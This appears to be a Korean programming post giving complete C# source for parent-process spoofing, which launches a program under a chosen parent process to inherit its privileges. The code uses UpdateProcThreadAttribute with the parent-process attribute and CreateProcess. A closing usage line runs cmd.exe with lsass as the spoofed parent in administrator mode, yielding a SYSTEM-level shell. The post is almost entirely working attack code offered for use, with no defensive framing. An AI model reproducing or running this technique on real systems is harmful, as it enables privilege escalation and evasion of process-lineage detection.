■ 스푸핑(spoofing) 기법을 사용해 시스템 권한으로 프로세스를 실행하는 방법을 보여준다.
▶ HANDLE_FLAG.cs
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using System; namespace TestProject { /// <summary> /// 핸들 플래그 /// </summary> [Flags] public enum HANDLE_FLAG : uint { /// <summary> /// NONE /// </summary> NONE = 0, /// <summary> /// INHERIT /// </summary> INHERIT = 1, /// <summary> /// PROTECT_FROM_CLOSE /// </summary> PROTECT_FROM_CLOSE = 2 } } |
▶ PROCESS_INFORMATION.cs
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using System; using System.Runtime.InteropServices; namespace TestProject { /// <summary> /// 프로세스 정보 /// </summary> [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { //////////////////////////////////////////////////////////////////////////////////////////////////// Field ////////////////////////////////////////////////////////////////////////////////////////// Public #region Field /// <summary> /// 프로세스 핸들 /// </summary> public IntPtr ProcessHandle; /// <summary> /// 스레드 핸들 /// </summary> public IntPtr ThreadHandle; /// <summary> /// 프로세스 ID /// </summary> public int ProcessID; /// <summary> /// 스레드 ID /// </summary> public int ThreadID; #endregion } } |
▶ ProcessAccessFlag.cs
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using System; namespace TestProject { /// <summary> /// 프로세스 액세스 플래그 /// </summary> [Flags] public enum ProcessAccessFlag : uint { /// <summary> /// All /// </summary> All = 0x001f0fff, /// <summary> /// Terminate /// </summary> Terminate = 0x00000001, /// <summary> /// CreateThread /// </summary> CreateThread = 0x00000002, /// <summary> /// VirtualMemoryOperation /// </summary> VirtualMemoryOperation = 0x00000008, /// <summary> /// VirtualMemoryRead /// </summary> VirtualMemoryRead = 0x00000010, /// <summary> /// VirtualMemoryWrite /// </summary> VirtualMemoryWrite = 0x00000020, /// <summary> /// DuplicateHandle /// </summary> DuplicateHandle = 0x00000040, /// <summary> /// CreateProcess /// </summary> CreateProcess = 0x000000080, /// <summary> /// SetQuota /// </summary> SetQuota = 0x00000100, /// <summary> /// SetInformation /// </summary> SetInformation = 0x00000200, /// <summary> /// QueryInformation /// </summary> QueryInformation = 0x00000400, /// <summary> /// QueryLimitedInformation /// </summary> QueryLimitedInformation = 0x00001000, /// <summary> /// Synchronize /// </summary> Synchronize = 0x00100000 } } |
▶ SECURITY_ATTRIBUTES.cs
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using System; using System.Runtime.InteropServices; namespace TestProject { /// <summary> /// 보안 어트리뷰트 /// </summary> [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { //////////////////////////////////////////////////////////////////////////////////////////////////// Field ////////////////////////////////////////////////////////////////////////////////////////// Public #region Field /// <summary> /// 길이 /// </summary> public int Length; /// <summary> /// 보안 설명자 /// </summary> public IntPtr SecurityDescriptor; /// <summary> /// 핸들 상속 여부 /// </summary> [MarshalAs(UnmanagedType.Bool)] public bool InheritHandle; #endregion } } |
▶ STARTUPINFO.cs
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using System; using System.Runtime.InteropServices; namespace TestProject { /// <summary> /// 시작시 정보 /// </summary> [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { //////////////////////////////////////////////////////////////////////////////////////////////////// Field ////////////////////////////////////////////////////////////////////////////////////////// Public #region Field /// <summary> /// 바이트 카운트 /// </summary> public int ByteCount; /// <summary> /// 예약 /// </summary> public string Reserved; /// <summary> /// 데스크톱 /// </summary> public string Desktop; /// <summary> /// 제목 /// </summary> public string Title; /// <summary> /// X /// </summary> public int X; /// <summary> /// Y /// </summary> public int Y; /// <summary> /// X 크기 /// </summary> public int XSize; /// <summary> /// Y 크기 /// </summary> public int YSize; /// <summary> /// X 문자 카운트 /// </summary> public int XCountCharacters; /// <summary> /// Y 문자 카운트 /// </summary> public int YCountCharacters; /// <summary> /// 칠하기 어트리뷰트 /// </summary> public int FillAttribute; /// <summary> /// 플래그 /// </summary> public int Flag; /// <summary> /// 윈도우 표시 /// </summary> public short ShowWindow; /// <summary> /// 예약 2 바이트 카운트 /// </summary> public short Reserved2ByteCount; /// <summary> /// 예약 2 핸들 /// </summary> public IntPtr Reserved2Handle; /// <summary> /// 표준 입력 핸들 /// </summary> public IntPtr StandardInputHandle; /// <summary> /// 표준 출력 핸들 /// </summary> public IntPtr StandardOutputHandle; /// <summary> /// 표준 에러 핸들 /// </summary> public IntPtr StandardErrorHandle; #endregion } } |
▶ STARTUPINFOEX.cs
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using System; using System.Runtime.InteropServices; namespace TestProject { /// <summary> /// 시작시 정보 (확장) /// </summary> [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFOEX { //////////////////////////////////////////////////////////////////////////////////////////////////// Field ////////////////////////////////////////////////////////////////////////////////////////// Public #region Field /// <summary> /// 시작시 정보 /// </summary> public STARTUPINFO StartupInfo; /// <summary> /// 어트리뷰트 리스트 핸들 /// </summary> public IntPtr AttributeListHandle; #endregion } } |
▶ ProcessHelper.cs
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using System; using System.Runtime.InteropServices; namespace TestProject { /// <summary> /// 프로세스 헬퍼 /// </summary> public static class ProcessHelper { //////////////////////////////////////////////////////////////////////////////////////////////////// Import ////////////////////////////////////////////////////////////////////////////////////////// Static //////////////////////////////////////////////////////////////////////////////// Private #region 프로세스 생성하기 - CreateProcess(applicationName, commandLine, processAttributes, threadAttributes, inheritHandles, creationFlag, environmentHandle, currentDirectoryPath, startupInfo, processInformation) /// <summary> /// 프로세스 생성하기 /// </summary> /// <param name="applicationName">애플리케이션명</param> /// <param name="commandLine">명령줄</param> /// <param name="processAttributes">프로세스 어트리뷰트</param> /// <param name="threadAttributes">스레드 어트리뷰트</param> /// <param name="inheritHandles">핸들 상속 여부</param> /// <param name="creationFlag">생성 플래그</param> /// <param name="environmentHandle">환경 핸들</param> /// <param name="currentDirectoryPath">현재 디렉토리 경로</param> /// <param name="startupInfo">시작시 정보</param> /// <param name="processInformation">프로세스 정보</param> /// <returns>처리 결과</returns> [DllImport("kernel32")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CreateProcess ( string applicationName, string commandLine, ref SECURITY_ATTRIBUTES processAttributes, ref SECURITY_ATTRIBUTES threadAttributes, bool inheritHandles, uint creationFlag, IntPtr environmentHandle, string currentDirectoryPath, [In] ref STARTUPINFOEX startupInfo, out PROCESS_INFORMATION processInformation ); #endregion #region 프로세스 열기 - OpenProcess(processAccessFlag, inheritHandle, processID) /// <summary> /// 프로세스 열기 /// </summary> /// <param name="processAccessFlag">프로세스 액세스 플래그</param> /// <param name="inheritHandle">핸들 상속 여부</param> /// <param name="processID">프로세스 ID</param> /// <returns>프로세스 핸들</returns> [DllImport("kernel32", SetLastError = true)] private static extern IntPtr OpenProcess(ProcessAccessFlag processAccessFlag, bool inheritHandle, int processID); #endregion #region 단일 객체 대기하기 - WaitForSingleObject(handle, milliseconds) /// <summary> /// 단일 객체 대기하기 /// </summary> /// <param name="handle">핸들</param> /// <param name="milliseconds">밀리초</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] private static extern uint WaitForSingleObject(IntPtr handle, uint milliseconds); #endregion #region 프로세스 스레드 어트리뷰트 업데이트하기 - UpdateProcThreadAttribute(attributeListHandle, flag, attributeHandle, valueHandle, byteCountHandle, previousValueHandle, returnSizeHandle) /// <summary> /// 프로세스 스레드 어트리뷰트 업데이트하기 /// </summary> /// <param name="attributeListHandle">어트리뷰트 리스트 핸들</param> /// <param name="flag">플래그</param> /// <param name="attributeHandle">어트리뷰트 핸들</param> /// <param name="valueHandle">값 핸들</param> /// <param name="byteCountHandle">바이트 카운트 핸들</param> /// <param name="previousValueHandle">이전 값 핸들</param> /// <param name="returnSizeHandle">반환 크기 핸들</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UpdateProcThreadAttribute ( IntPtr attributeListHandle, uint flag, IntPtr attributeHandle, IntPtr valueHandle, IntPtr byteCountHandle, IntPtr previousValueHandle, IntPtr returnSizeHandle ); #endregion #region 프로세스 스레드 어트리뷰트 리스트 초기화하기 - InitializeProcThreadAttributeList(attributeListHandle, attributeCount, flag, sizeHandle) /// <summary> /// 프로세스 스레드 어트리뷰트 리스트 초기화하기 /// </summary> /// <param name="attributeListHandle">어트리뷰트 리스트 핸들</param> /// <param name="attributeCount">어트리뷰트 카운트</param> /// <param name="flag">플래그</param> /// <param name="sizeHandle">크기 핸들</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr attributeListHandle, int attributeCount, int flag, ref IntPtr sizeHandle); #endregion #region 핸들 정보 설정하기 - SetHandleInformation(objectHandle, mask, flag) /// <summary> /// 핸들 정보 설정하기 /// </summary> /// <param name="objectHandle">객체 핸들</param> /// <param name="mask">마스크</param> /// <param name="flag">플래그</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] private static extern bool SetHandleInformation(IntPtr objectHandle, HANDLE_FLAG mask, HANDLE_FLAG flag); #endregion #region 핸들 닫기 - CloseHandle(objectHandle) /// <summary> /// 핸들 닫기 /// </summary> /// <param name="objectHandle">객체 핸들</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] private static extern bool CloseHandle(IntPtr objectHandle); #endregion #region 핸들 복제하기 - DuplicateHandle(sourceProcessHandle, sourceHandle, targetProcessHandle, targetHandle, desiredAccess, inheritHandle, option) /// <summary> /// 핸들 복제하기 /// </summary> /// <param name="sourceProcessHandle">소스 프로세스 핸들</param> /// <param name="sourceHandle">소스 핸들</param> /// <param name="targetProcessHandle">타겟 프로세스 핸들</param> /// <param name="targetHandle">타겟 핸들</param> /// <param name="desiredAccess">희망 액세스</param> /// <param name="inheritHandle">핸들 상속 여부</param> /// <param name="option">옵션</param> /// <returns>처리 결과</returns> [DllImport("kernel32", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DuplicateHandle ( IntPtr sourceProcessHandle, IntPtr sourceHandle, IntPtr targetProcessHandle, ref IntPtr targetHandle, uint desiredAccess, [MarshalAs(UnmanagedType.Bool)] bool inheritHandle, uint option ); #endregion //////////////////////////////////////////////////////////////////////////////////////////////////// Field ////////////////////////////////////////////////////////////////////////////////////////// Private #region Field /// <summary> /// PROC_THREAD_ATTRIBUTE_PARENT_PROCESS /// </summary> private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; /// <summary> /// EXTENDED_STARTUPINFO_PRESENT /// </summary> private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; /// <summary> /// CREATE_NEW_CONSOLE /// </summary> private const uint CREATE_NEW_CONSOLE = 0x00000010; #endregion //////////////////////////////////////////////////////////////////////////////////////////////////// Method ////////////////////////////////////////////////////////////////////////////////////////// Static //////////////////////////////////////////////////////////////////////////////// Public #region 프로세스 실행하기 - ExecuteProcess(parentProcessID, filePath) /// <summary> /// 프로세스 실행하기 /// </summary> /// <param name="parentProcessID">부모 프로세스 ID</param> /// <param name="filePath">파일 경로</param> public static void ExecuteProcess(int parentProcessID, string filePath) { PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION(); STARTUPINFOEX startupInfoEx = new STARTUPINFOEX(); IntPtr valueHandle = IntPtr.Zero; IntPtr sourceProcessHandle = IntPtr.Zero; IntPtr sizeHandle = IntPtr.Zero; InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref sizeHandle); startupInfoEx.AttributeListHandle = Marshal.AllocHGlobal(sizeHandle); InitializeProcThreadAttributeList(startupInfoEx.AttributeListHandle, 1, 0, ref sizeHandle); IntPtr parentHandle = OpenProcess(ProcessAccessFlag.CreateProcess | ProcessAccessFlag.DuplicateHandle, false, parentProcessID); valueHandle = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(valueHandle, parentHandle); UpdateProcThreadAttribute ( startupInfoEx.AttributeListHandle, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, valueHandle, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero ); SECURITY_ATTRIBUTES processAttributes = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES threadAttributes = new SECURITY_ATTRIBUTES(); processAttributes.Length = Marshal.SizeOf(processAttributes); threadAttributes.Length = Marshal.SizeOf(threadAttributes ); CreateProcess ( filePath, null, ref processAttributes, ref threadAttributes, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startupInfoEx, out processInformation ); } #endregion } } |
▶ Program.cs
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using System.Diagnostics; namespace TestProject { /// <summary> /// 프로그램 /// </summary> class Program { //////////////////////////////////////////////////////////////////////////////////////////////////// Method ////////////////////////////////////////////////////////////////////////////////////////// Static //////////////////////////////////////////////////////////////////////////////// Private #region 프로그램 시작하기 - Main(argumentList) /// <summary> /// 프로그램 시작하기 /// </summary> /// <param name="argumentList">인자 리스트</param> private static void Main(string[] argumentList) { string filePath = argumentList[0]; string processNameToSpoof = argumentList[1]; int parentProcessID; Process[] processArray = Process.GetProcessesByName(processNameToSpoof); parentProcessID = processArray[0].Id; ProcessHelper.ExecuteProcess(parentProcessID, filePath); } #endregion } } |
▶ 사용법
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D:\TestProject\TestProject\bin\Release\TestProject.exe C:\Windows\System32\cmd.exe lsass |
※ 관리자 모드에서 실행해야 한다.
